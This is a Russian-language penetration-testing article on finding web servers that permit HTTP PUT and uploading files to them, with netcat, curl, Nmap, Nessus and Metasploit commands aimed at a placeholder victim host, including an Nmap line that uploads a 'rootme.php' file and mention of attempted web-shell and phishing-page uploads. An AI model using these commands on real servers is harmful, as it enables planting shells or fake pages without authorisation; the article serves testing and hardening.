Обнаружение и эксплуатация метода HTTP PUT

Обнаружение и эксплуатация метода HTTP PUT

В этой статье будут рассмотрены различные способы обнаружения сервера, где разрешен метод PUT и способы успешного выполнения PUT-запроса. Также будет рассмотрена установка тестового веб сервера, на котором разрешен метод PUT.

Автор: SmeegeSec

Недавно я обнаружил веб сервер, где был разрешен метод HTTP PUT. При помощи сканера уязвимостей Nessus был найден сам сервер и использована брешь, которая позволила загрузить собственную страницу /savpgr1.html с текстом «A quick brown fox jumps over the lazy dog» (дословно: проворная бурая лиса перепрыгивает через ленивую собаку). Затем я попытался загрузить на сервер шелл (php, asp, jsp), который можно создать в Metasploit или найти в сети. К сожалению, попытка оказалось неудачной. Сервер не смог распознать ни один из шеллов. Другой вариант атаки: создание поддельной страницы внутри веб приложения (попросту говоря, фишинговая атака).

У меня не было особо много времени на тесты и, к тому же, в сети немного информации относительно метода HTTP PUT с точки зрения проведения пентестов. В этой статье будут рассмотрены различные способы обнаружения сервера, где разрешен метод PUT и способы успешного выполнения PUT-запроса. Также будет рассмотрена установка тестового веб сервера, на котором разрешен метод PUT.

Как обнаружить, что разрешен метод HTTP PUT

· Метод OPTIONS через Netcat, Burp и т. д.:

nc www.victim.com 80
OPTIONS / HTTP/1.1
Host: www.victim.com

· Nmap: скрипт http-methods.nse проверяет каждый HTTP-метод и выводит ответ. Этот способ прекрасно подходит для быстрой проверки множества серверов/портов. Пример использования: nmap --script=http-methods.nse -p80,443.

· Nessus: один из способ детектирования HTTP-методов – использование плагина 43111 «HTTP Methods Allowed (per directory)». Файл плагина web_directory_options.nasl находится в /opt/nessus/lib/nessus/plugins.

Рисунок 1: Описание плагина для поиска HTTP-методов

Выполнение PUT-запроса / загрузка данных

· Запрос через Netcat, Burp и т. д.:

nc www.victim.com 80
PUT /hello.htm HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Host: www.victim.com
Accept-Language: en-us
Connection: Keep-Alive
Content-type: text/html
Content-Length: 182

<html>
<body>
<h1>Hello, World!</h1>
</body>
</html>

· cURL: следует отметить, что успех выполнения команд, показанных ниже, зависит от конкретного случая.

curl -i -X PUT -H "Content-Type: application/xml; charset=utf-8" -d @"/tmp/some-file.xml" http://www.victim.com/newpage

curl -X PUT -d "text or data to put" http://www.victim.com/destination_page

curl -i -H "Accept: application/json" -X PUT -d "text or data to put" http://victim.com/new_page

· Quickput.py: этот старый python-скрипт позволяет загрузить локальный файл на веб сервер. В скрипте предусмотрено два обязательных аргумента (локальный файл и url, куда нужно загружать) плюс необязательные аргументы для аутентификации. Параметр content-length рассчитывается автоматически и обновляется в PUT-запросе. Утилита показала хорошие результаты.

· Nmap: скрипт http-put.nse позволяет загрузить локальный файл через PUT-запрос. Лично я этим способом не пользовался, но вариант может быть неплохим. Пример использования: nmap -p 80 --script http-put --script-args http-put.url='/uploads/rootme.php',http-put.file='/tmp/rootme.php'.

· Nessus: у Nessus есть интересный плагин (10498; "Web Server HTTP Dangerous Method Detection"), создающий свои собственные PUT-запросы. Опять же лично я не пользовался этим плагином, но уверен, что все будет работать. Отредактируйте файл http_methods.nasl и запустите Nessus с активированным плагином. Необходимо лишь заполнить поля data и length (content-length).

Рисунок 2: Код плагина (красным выделен блок, который нужно отредактировать)

· Metasploit: в Metasploit также можно файл через PUT-запрос при помощи модуля auxiliary/scanner/http/http_put.

Рисунок 3: Параметры модуля для загрузки файла

Настройка тестового веб сервера для экспериментов

Для тестирования некоторых описанных выше техник я попытался установить сервер Apache, но возникли некоторые сложности с настройкой разрешения PUT-запросов. Затем я нашел и модифицировал пару python-скриптов и по-быстрому установил тестовый веб сервер. Ниже показан пример работы со скриптом Quickput.py, о котором я рассказывал ранее.

Рисунок 4: Установка тестового сервера для работы с PUT-запросами

Python-скрипт тестового сервера можно загрузить отсюда. Следует отметить, что могут возникнуть проблемы с форматом PUT-запросов. Тестовый сервер может не принимать запросы, созданные при помощи методов, описанных выше.

Надеюсь, эта статья будет хорошим стартом для начала исследования темы по эксплуатации PUT-запросов. Этот вектор атак весьма интересен. В большинстве случаев нельзя разрешать использование PUT-запросов в приложениях и на серверах. Если у вас есть какие-либо идеи относительно темы, связанной с эксплуатацией PUT-запросов, делитесь своими мыслями в комментариях.

Если вам нравится играть в опасную игру, присоединитесь к нам - мы научим вас правилам!

Подписаться